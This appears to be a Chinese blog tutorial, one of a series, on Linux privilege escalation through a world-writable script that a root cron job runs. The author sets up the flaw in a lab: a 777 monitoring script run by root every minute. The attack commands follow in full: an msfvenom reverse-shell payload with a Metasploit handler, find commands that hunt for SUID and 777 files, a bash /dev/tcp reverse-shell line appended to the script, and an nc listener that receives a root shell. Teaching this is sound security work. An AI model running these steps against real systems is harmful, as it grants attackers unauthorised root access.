操作系统权限提升(二十)之Linux提权-计划任务提权

系列文章

操作系统权限提升(十八)之Linux提权-内核提权
操作系统权限提升(十九)之Linux提权-SUID提权

计划任务提权

计划任务提权原理

linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的文件,从而被攻击者利用,导致提权,Linux计划任务命令如下

crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab

计划任务的文件夹在 /etc/cron*下

在这里插入图片描述

计划任务的格式

分 时 日 月 周 用户 命令

在这里插入图片描述

假如root用户设置了一个计划任务,但是权限没有设置好,比如777权限或者SUID权限之类的,查找命令如下

find / -user root -perm -4000 -print 2>/dev/null 查找SUID文件
find / -perm 777 -print 2>/dev/null 查找777文件

linux文件权第一部分是该文件的拥有者所拥有的权限,第二部分是该文件所在用户组的用户所拥有的权限,最后一部分是其他用户所拥有的权限

在这里插入图片描述

提权准备

先准备一个SUID文件或者权限为xx7的文件,让低权限的用户可以执行文件的修改,在这里我们我们准备一个sh文件或者python文件都可以,我们写一个linux运维脚本,来监控当前电脑的运行参数

#!/bin/bash
function bash_os() {
	# "系统基础信息"
	#内核信息
	kernel=$(uname -r)
	#主机名称
	hostname=$HOSTNAME
	#当前时间及运行时间
	dateload=$(uptime | awk -F "," '{print $1}')
	# 当前登录用户数
	users=$(uptime | awk -F "," '{print $2}')
	echo -e "\n\033[32m############## 系统基础信息 #######\033[0m\n" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
	echo -e "|内核信息:\033[31m $kernel \033[0m" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >> /tmp/bash_os.txt
	echo -e "|当前时间及运行时间:\033[31m $dateload \033[0m" >>/tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >>/tmp/bash_os.txt
	echo -e "|当前登录用户数:\033[31m $users \033[0m" >> /tmp/bash_os.txt
	echo -e "\033[32m------------------------------------\033[0m" >>/tmp/bash_os.txt
}
bash_os

在这里插入图片描述

该脚本运行后的内容将会写到 /tmp/bash_os.txt文件中

在这里插入图片描述

将文件的权限设置成777 chmod 777 bash_os.sh

在这里插入图片描述

将文件设置成计划任务,输入 vim /etc/crontab 进行编辑,编辑内容如下到crontab文件中

分 时 日 月 周 用户 命令
*/1 * * * * root /home/daoer/Desktop/bash_os.sh

在这里插入图片描述

service croud status 查看计划任务启动
service croud restart 重启计划任务

提权实战

我们先拿到一个webshell,或者MSF的shell,或者CS的shell先上线,这里使用MSF的shell,生成MSF的payload然后上线

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.105 LPORT=8888 -f elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.105
set lport 8888
run

在这里插入图片描述

查询计划任务,发现存在一个sh文件并且是root运行的

cat /etc/crontab

在这里插入图片描述

接下来查看该文件的属性看看能不能更改,发现是777满权限,更改文件内容,进行提权

ls -l bash_os.sh

在这里插入图片描述

输入反弹shell的命令,在sh文件中进行追加

echo "bash -i >& /dev/tcp/192.168.0.105/9876 0>&1" >> /bash_os.sh

在这里插入图片描述

使用NC接收等待反弹shell的连接,得到root权限

nc -lvvp 9876

在这里插入图片描述

posted @ 2023-02-28 23:24  私ははいしゃ敗者です  阅读(118)  评论(0编辑  收藏  举报  来源